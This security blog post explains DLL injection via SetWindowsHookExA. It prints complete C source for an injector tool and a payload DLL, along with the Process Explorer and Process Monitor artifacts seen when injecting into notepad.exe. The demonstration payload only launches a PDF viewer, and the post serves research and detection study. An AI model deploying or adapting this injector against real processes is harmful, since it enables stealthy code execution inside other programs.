Reinventing the wheel: DLL Injection via SetWindowsHookExA

In this post I’m implementing DLL injection via SetWindowsExA. This is my second post on the DLL Injection topic, following the first I authored on DLL Injection via CreateRemoteThread [1]. Motive behind this is Ashkan Hosseini’s blog about process injection techniques [2]. Of course, my implementation is not something new. It’s is just an imitation of other implementations like one found on rohitab.com [3].

High Level Mechanics

Before delving into the API details and the core of the implementation, let’s give an overview of this technique.

DLL injection is an approach to inject code into a live process. The technique is documented as T1055 in the MITRE ATT&CK framework [4].

In this post DLL injection via SetWindowsHookExA is discussed. It involves a malware process that loads the DLL payload and installs a hook in a target process. The hook then monitors for a specific event (for example a keyboard press) in the target process and once this event occurs, the payload DLL is executed. We assume the payload DLL already exists on disk.

DLL Injection API Mechanics

In order to implement the DLL Injection, we need to utilize the following APIs:

What this PoC brings

The tool I’m introducing - can be considered as the malware process - scans for active windows and prints the handle for each (flag/option -lw/–list-windows). This functionality is based off of publicly available code that utilizes EnumWindows [5]. The user can specify the handle of the window the target process created (-wh/–window-handle) as well as the payload to be injected into the target process (-d/–d-path).

The malware process remains active until the payload gets loaded and executed in the target process. As such, the malware process monitors the running processes in order to check if the payload has been executed. If the payload process is in running state, the malware process ends.

The payload DLL is set to execute a process instance of Sumatra PDF viewer, a benign application I used in my previous posts.

The tool I’m introducing has the following menu:

SYNOPSIS
        dll_injection.exe -p process_name -d dll_name

DESCRIPTION
        Application to inject a DLL into a given process using SetWindowsHookExA

OPTIONS
        -h, --help
                display this help and exit
        -lw, --list-windows
                display the active Windows with their Handles
        -d, --dll-path
                Specify the DLL that will be injected into the victim process
        -wh, --window-handle
                Specify the handle of the Window into which we want to inject

Execution Artifacts

It’s beneficial to inspect the behavior of this injector. For this, I’m using two of the beloved Systinternals tools:

First, we need to get the handles of the active windows in order to target a process in which the payload DLL will be injected and eventually executed. notepad.exe is the chosen victim:

listwindows

In the following examples, the payload DLL is called calc_poc.dll (as it was initially designed to launch a calculator).

Artifacts in Process Explorer

In Process Explorer the following parent-child relationship is recorded:

notepad_parent_child

Artifacts in Process Monitor

In Process Monitor the following events are recorded during the launch of the process caused by the payload DLL:

procmonhook

Observations

After running a few tests with this tool, I made the following observation(s):

The implementation

In this section you can find the implementation of the injector and the code for the payload DLL.

Payload DLL

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

#define DllExport __declspec(dllexport)

DllExport void __stdcall SpawnProcess(void)
{
	WinExec("C:\\Users\\test\\Desktop\\SumatraPDF-3.2-64\\SumatraPortable3.2.exe", 0);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
	switch (fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		case DLL_THREAD_ATTACH:
		case DLL_PROCESS_DETACH:
		case DLL_THREAD_DETACH:
			break;
	}
	return 1;
}

Injector

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <string>
#include <iostream>
#include <psapi.h>

using namespace std;

BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
{
	// function that prints Windows and their handles
	DWORD dwThreadId, dwProcessId;
	HINSTANCE hInstance;
	char title[255];
	char modulefilename[255];
	HANDLE hProcess;

	if (!hWnd)
		return TRUE;		// Not a window
	if (!::IsWindowVisible(hWnd))
		return TRUE;		// Not visible
	if (!SendMessage(hWnd, WM_GETTEXT, sizeof(title), (LPARAM)title))
		return TRUE;		// No window title

	hInstance = (HINSTANCE)GetWindowLong(hWnd, -6);
	dwThreadId = GetWindowThreadProcessId(hWnd, &dwProcessId);
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);

	// GetModuleFileNameEx uses psapi, which works for NT only!
	if (GetModuleFileNameEx(hProcess, hInstance, modulefilename, sizeof(modulefilename)))
		printf("Window Handle: %p, Title: %s, ModuleFilename: %s, GetWindowThreadProcessId: %d\n", hWnd, title, modulefilename, dwThreadId);
	else
		printf("Handle: %p, Title: %s, ModuleFilename: empty\n", hWnd, title);
	CloseHandle(hProcess);
		
	return TRUE;
}

BOOL process_check()
{
	HANDLE hProcessSnap;
	PROCESSENTRY32 pe32;

	// take a snapshot of all processes in the system
	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hProcessSnap == INVALID_HANDLE_VALUE)
	{
		printf("[-] CreateToolhelp32Snaphost has failed!");
		return FALSE;
	}

	pe32.dwSize = sizeof(PROCESSENTRY32);

	if (!Process32First(hProcessSnap, &pe32))
	{
		printf("[-] Process32First has failed!");
		CloseHandle(hProcessSnap);
		return FALSE;
	}

	do
	{
		if (strcmp(pe32.szExeFile, "SumatraPortable3.2.exe") == 0)
		{
			return FALSE;
		}
	} while (Process32Next(hProcessSnap, &pe32));

	CloseHandle(hProcessSnap);

	return TRUE;
}

BOOL InjectDLL(HWND hWindow, LPCSTR lpFileName)
{
	// load the DLL in the injector without calling the DllMain
	HMODULE hModule = LoadLibraryEx(lpFileName, NULL, DONT_RESOLVE_DLL_REFERENCES);
	if (hModule == NULL)
	{
		printf("[-] LoadLibraryExA has failed: %d\n", GetLastError());
		return 1;
	}
	
	// get the exported fucntion from the payload DLL
	HOOKPROC pExportFunction = (HOOKPROC)GetProcAddress(hModule, MAKEINTRESOURCE(1));
	if (pExportFunction == NULL)
	{
		printf("[-] GetProcAddress has failed: %d\n", GetLastError());
		return 1;
	}

	DWORD pid = 0;
	DWORD dwThreadId = GetWindowThreadProcessId(hWindow, &pid);
	HHOOK hHooked = SetWindowsHookExA(WH_KEYBOARD, pExportFunction, hModule, dwThreadId);
	if (hHooked == NULL)
	{
		printf("[-] SetWindowsHookExA has failed: %d\n", GetLastError());
		return 1;
	}

	if ( !PostMessage(hWindow, WM_NULL, NULL, NULL))
	{
		printf("[-] PostThreadMessage has failed: %d\n", GetLastError());
		return 1;
	}

	BOOL status = FALSE;
	do
	{
		// do until the payload creates the specified process
		status = process_check();
	} while (status);

	if (!UnhookWindowsHookEx(hHooked))
	{
		printf("[-] UnhookWindowsHookEx has failed: %d\n", GetLastError());
		return 1;
	}

	return 0;
}

void menu()
{
	printf("SYNOPSIS\n");
	printf("\tdll_injection.exe -p process_name -d dll_name\n\n");
	printf("DESCRIPTION\n");
	printf("\tApplication to inject a DLL into a given process using SetWindowsHookExA\n\n");
	printf("OPTIONS\n");
	printf("\t-h, --help\n");
	printf("\t\tdisplay this help and exit\n");
	printf("\t-lw, --list-windows\n");
	printf("\t\tdisplay the active Windows with their Handles\n");
	printf("\t-p, --process-name\n");
	printf("\t\tSpecify the target/victim process\n");
	printf("\t-d, --dll-path\n");
	printf("\t\tSpecify the DLL that will be injected into the victim process\n");
	printf("\t-wh, --window-handle\n");
	printf("\t\tSpecify the handle of the Window into which we want to inject\n");
}

int main(int argc, char** argv)
{
	BOOL lset = FALSE, pset = FALSE, dset = FALSE, whset = FALSE;
	BOOL ProcessTokenAcquired = FALSE;
	std::string PName, DLLPath;
	HWND hWindow = NULL;

	printf("[+] Program started...\n");

	for (int i = 1; i < argc; i++)
	{
		std::string s = argv[i];
		// display help menu and exit
		if (!s.compare("-h") || !s.compare("--help")) menu();
		// print active Windows and Handles
		if (!s.compare("-lw") || !s.compare("--list-windows"))
		{
			lset = TRUE;
			printf("[+] List of active Windows:\n");
			EnumWindows(EnumWindowsProc, NULL);
			return 0;
		}
		/// check if the process name has been specified
		if (!s.compare("-p") || !s.compare("--process-name"))
		{
			// debug
			//printf("[+] input process-name: %s\n", argv[i+1]);
			PName = argv[i + 1];
			pset = TRUE;
		}
		// check if the DLL path has been specified
		if (!s.compare("-d") || !s.compare("--dll-path"))
		{
			// debug
			//printf("[+] input DLL-path: %s\n", argv[i+1]);
			DLLPath = argv[i + 1];
			dset = TRUE;
		}
		if (!s.compare("-wh") || !s.compare("--window-handle"))
		{
			hWindow = (HWND)strtol(argv[i + 1], NULL, 16);
			whset = TRUE;
		}
	}
	if (!((!(pset && dset && whset) && (lset)) || ((pset && dset && whset) && !(lset))))
	{
		printf("[-] You haven't specified a process name, a DLL path and a Window handle.\n");
		printf("[-] You need to specify either the list option(-lw) or process name, dll name and the windows handle flags (-p, -d, -wh)\n");
		printf("[-] Exiting...\n");
		return 1;
	}
	
	printf("[+] Application will run until the payload gets executed\n");
	// call inject DLL
	if (!InjectDLL(hWindow, DLLPath.c_str()))
		printf("[+] Successful injection occurred!\n");
	else
		printf("[-] Inject has failed\n");

	return 0;
}

Resources

[1] https://stmxcsr.com/process%20injection/2020/03/17/dll-injection.html

[2] https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

[3] http://www.rohitab.com/discuss/topic/43926-setwindowshookex-dll-injection-my-code-and-some-questions/

[4] https://attack.mitre.org/techniques/T1055/

[5] http://simplesamples.info/SimpleSamples/Windows/EnumWindows.aspx

* Any feedback on this article would be greatly appreciated